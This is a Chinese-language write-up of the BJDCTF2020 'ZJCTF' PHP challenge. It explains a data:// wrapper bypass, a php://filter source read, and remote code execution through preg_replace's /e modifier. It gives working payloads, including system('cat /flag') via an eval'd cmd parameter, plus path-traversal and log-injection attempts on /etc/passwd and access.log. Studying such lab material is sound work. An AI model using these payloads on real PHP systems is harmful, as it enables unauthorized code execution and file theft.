[BJDCTF2020]ZJCTF,不过如此
PHP代码安全漏洞分析摘要 这段PHP代码存在多个安全漏洞: 条件绕过:通过data://text/plain,I%20have%20a%20dream绕过file_get_contents检查。 文件包含漏洞:利用php://filter读取next.php源码(Base64编码)。 代码执行漏洞:next.php中的preg_replace使用/e修饰符,导致任意代码执行,可通过cmd参数执行
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>分析这串PHP代码
🔍 代码功能分析
- 错误报告关闭:
error_reporting(0)
会关闭所有错误显示,这增加了攻击的难度,因为不会暴露内部信息。 - 获取参数:通过
$_GET
获取text
和file
两个参数。 - 条件检查:
- 检查
text
参数是否存在,并且通过file_get_contents($text, 'r')
读取的内容必须严格等于字符串"I have a dream"
。 - 如果条件满足,代码会输出该字符串(用HTML包装),然后检查
file
参数是否包含子字符串"flag"
(使用preg_match
)。如果包含,则输出"Not now!"
并终止脚本。 - 如果不包含
"flag"
,则使用include($file)
包含文件(注释提示为next.php
)。
- 检查
- 默认行为:如果条件不满足,则使用
highlight_file(__FILE__)
显示当前文件的源代码。
这段PHP代码是一个典型的安全挑战,涉及文件包含和条件绕过。下面我将详细分析代码的功能、潜在漏洞,以及可能的利用方法。代码整体上要求通过特定条件才能进入文件包含环节,而文件包含参数存在安全限制。
🔍 代码功能分析
- 错误报告关闭:
error_reporting(0)
会关闭所有错误显示,这增加了攻击的难度,因为不会暴露内部信息。 - 获取参数:通过
$_GET
获取text
和file
两个参数。 - 条件检查:
- 检查
text
参数是否存在,并且通过file_get_contents($text, 'r')
读取的内容必须严格等于字符串"I have a dream"
。 - 如果条件满足,代码会输出该字符串(用HTML包装),然后检查
file
参数是否包含子字符串"flag"
(使用preg_match
)。如果包含,则输出"Not now!"
并终止脚本。 - 如果不包含
"flag"
,则使用include($file)
包含文件(注释提示为next.php
)。
- 检查
- 默认行为:如果条件不满足,则使用
highlight_file(__FILE__)
显示当前文件的源代码。
💥 潜在漏洞与利用思路
1. 满足 text
参数的条件
为了通过初始检查,你需要让file_get_contents($text, 'r')
返回 exactly "I have a dream"
。由于$text
用户可控,常见方法是使用PHP的数据流包装器(如data://
)来直接控制内容:
- Payload:
text=data://text/plain,I have a dream
- 注意: 在URL中,空格需要编码为
%20
,所以实际请求中应写为text=data://text/plain,I%20have%20a%20dream
。 - 原理:
data://
协议允许直接嵌入数据作为输入流。file_get_contents
会读取该数据流的内容,从而满足条件。
data://
:告诉PHP,我们要使用data
伪协议。text/plain
:定义了后面所附数据的类型是纯文本。,
:分隔符,前面是元信息(类型),后面是具体数据。I have a dream
:这才是真正要被读取的数据内容- 那第一步为什么不能直接/?text=I%20have%20a%20dream,而是要用data://
-
简单来说,直接使用
/?text=I%20have%20a%20dream
之所以不行,是因为file_get_contents()
函数期望的是一个文件名或资源路径,而不是一个直接的字符串。当你传入一个普通字符串时,PHP会把它当作文件路径去尝试打开,而不是其内容本身。
。它的参数file_get_contents()
函数的核心作用是读取一个文件(或资源)的内容,并将其作为字符串返回$filename
期望的是一个指向某个资源的路径或标识符。 -
2. 利用 file
参数进行文件包含
条件满足后,代码会包含$file
指定的文件。但存在以下限制和机会:
- 限制: 如果
$file
包含子字符串"flag"
,脚本会终止。这防止了直接包含如flag.php
的文件。 - 机会:
include
函数在PHP中可能导致本地文件包含(LFI)或远程文件包含(RFI),如果服务器配置允许(如allow_url_include
启用)。但RFI通常默认关闭,因此重点在LFI。
可能的利用方向:
-
读取
next.php
源代码: 既然注释提示include($file)
意在包含next.php
,你可以使用php://filter
包装器读取其源代码,而不触发"flag"检查:- Payload:
file=php://filter/read=convert.base64-encode/resource=next.php
- 原理:
php://filter
可以对资源进行编码处理。这里将next.php
内容Base64编码后输出,而非直接执行。你收到Base64字符串后解码即可得到源代码。 - 注意:
$file
值不包含"flag",可绕过检查。
- Payload:
-
尝试执行代码或包含其他文件: 如果
allow_url_include
启用(虽不常见),可尝试用data://
执行代码。但需确保Payload中不包含"flag"字符串:- 示例:
file=data://text/plain,<?php system('cat /tmp/test');?>
(命令中避免"flag")。 - 注意: 此举可能成功执行系统命令,但需服务器配置允许且Payload精心构造。
- 示例:
-
路径遍历或日志注入: 若上述方法不行,可尝试包含系统文件(如
:/etc/passwd
)或日志文件(如Apache的access.log
),但需已知路径且日志中注入过PHP代码- Payload:
file=../../../../var/log/apache2/access.log
- 风险: 路径不确定且可能包含困难。
- Payload:
- 那第二步为什么不能直接file=next.php读取?
- 因为
include($file)
:会将文件内容作为 PHP 代码来解析和执行。php://filter
:只是将文件内容作为 普通的文本数据流来读取。
?text=data://text/plain,I%20have%20a%20dream
&file=php://filter/read=convert.base64-encode/resource=next.php
base64解码,分析next.php内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这是读取了next.php以后的内容,解析一下
它包含一个利用 preg_replace
中 /e
修饰符的代码执行漏洞。最终目标是触发 getFlag()
函数,通过 cmd
参数执行任意代码(例如查看 flag)。
下面是对代码的解析、漏洞原理及利用方法的详细说明。
🔍 代码结构与流程
代码部分 | 功能说明 |
---|---|
$id = $_GET['id']; |
从 GET 参数中获取 id 的值。 |
$_SESSION['id'] = $id; |
将 id 的值存入 Session(此部分在本漏洞利用中通常无关紧要)。 |
function complex($re, $str) |
核心函数。使用 preg_replace 并设置了 /e 修饰符,这会使替换字符串被当作 PHP 代码执行。 |
foreach($_GET as $re => $str) |
循环遍历 所有 GET 参数,将参数名作为 $re (正则表达式),参数值作为 $str (要处理的字符串),并调用 complex 函数。 |
function getFlag() |
一个危险函数,内部用 eval($_GET['cmd']) 执行通过 cmd 参数传入的任意 PHP 代码。 |
漏洞的核心在于 complex
函数中的这行代码:此漏洞的根源在于使用了不安全的 /e
修饰符。
/e
修饰符:这是一个在 PHP 5.x 版本中存在(PHP 7.0 及以上版本已移除)的特殊修饰符。它的作用是让 preg_replace
将替换字符串(第二个参数)当作 PHP 代码来执行**。
反向引用 \\1
:在正则表达式中,\\1
表示对第一个捕获组(即第一个括号 ( )
内匹配到的内容)的引用。
双引号的重要性:代码中的替换字符串是 'strtolower("\\1")'
。由于使用了双引号,字符串内的 \\1
会被先解析为对捕获组的引用,然后整个字符串再被 eval
执行。如果是单引号 '\1'
,则只会被当作普通字符串,无法利用。
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
\S
是正则表达式中的预定义字符类,表示匹配任何非空白字符。*
表示匹配前面的字符零次或多次。因此,\S*
作为一个整体,意味着 “匹配任意长度的、由非空白字符组成的字符串”
成功!
小结:
1.学会用data://伪协议绕过file_get_contents
2.用php://filter/read=convert.base64-encode/resource=伪协议实现绕过PHP直接执行,打印出源码
3.linux命令运用,cmd传参,了解到PHP会自动将传入的参数名($_GET
、$_POST
等数组的键)中的一些特殊字符转换为下划线 _
更多推荐
所有评论(0)